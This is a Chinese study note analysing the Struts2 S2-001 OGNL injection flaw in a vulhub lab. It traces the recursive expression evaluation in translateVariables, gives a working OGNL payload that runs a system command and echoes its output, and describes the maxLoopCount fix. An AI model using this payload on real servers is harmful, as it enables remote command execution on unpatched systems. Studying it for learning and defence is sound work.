S2-001学习记录

环境

https://github.com/vulhub/vulhub/blob/master/struts2/s2-001/S2-001.war

影响

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

成因

translateVariables中,循环解析了表达式,在处理完%{password}后将password的值直接取出并继续在while循环中解析,若用户输入的password是恶意的ognl表达式,比如%{1+1},则得以解析执行。

分析

直接在org.apache.struts2.views.js#doStartTag下断点
这个方法对jsp标签进行解析

这里正在对<s:form action="login">进行解析
让他运行到开始解析<s:textfield name="password" label="password" />

由于/>会调用doEndTag方法

1
2
3
4
5
public int doEndTag() throws JspException {
this.component.end(this.pageContext.getOut(), this.getBody()); //<-- 跟进
this.component = null;
return 6;
}
1
2
3
4
public boolean end(Writer writer, String body) {
this.evaluateParams();//<-- 跟进
...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public void evaluateParams() {
this.addParameter("templateDir", this.getTemplateDir());
this.addParameter("theme", this.getTheme());
String name = null;
...
if (this.name != null) {
name = this.findString(this.name); //<-- 可以重上图中看到this.name="password"
this.addParameter("name", name);
}
...
} else if (this.evaluateNameValue()) {
Class valueClazz = this.getValueClassType();
if (valueClazz != null) {
if (this.value != null) {
this.addParameter("nameValue", this.findValue(this.value, valueClazz));
} else if (name != null) {
String expr = name;
if (this.altSyntax()) {
expr = "%{" + name + "}"; //<-- expr="%{password}"
}

this.addParameter("nameValue", this.findValue(expr, valueClazz)); //<-- 跟进findvalue
}
...
}
1
2
3
4
5
6
7
protected Object findValue(String expr, Class toType) {
if (this.altSyntax() && toType == String.class) {
return TextParseUtil.translateVariables('%', expr, this.stack); //<-- 跟进
} else {
...
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression; // result = "%{password}"

while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;

while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}

int end = x - 1;


String var = expression.substring(start + 2, end); // var = password
Object o = stack.findValue(var, asType);
...
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object findValue(String expr, Class asType) {
Object var4;
try {
Object value;
...

value = OgnlUtil.getValue(expr, this.context, this.root, asType);
/*
这里可以把传入的pasword的参数赋值给value
如果我们post password=%{1+1}
value就会为%{1+1}
*/
...
var4 = value;
return var4;
}
...
}

回到translateVariables方法把剩下部分跟完

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
...
while(true) {
...
Object o = stack.findValue(var, asType);
...
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right; //<-- 赋值为%{1+1}
}
}
}

继续循环到Object o = stack.findValue(var, asType);
此时的o通过ognl解析赋值为2

exp

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

修复方案

https://jar-download.com/artifacts/com.opensymphony/xwork/2.0.4/source-code/com/opensymphony/xwork2/util/TextParseUtil.java
增加了一个maxLoopCount进行次数上的限制

1
2
3
4
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}

参考

https://xz.aliyun.com/t/2044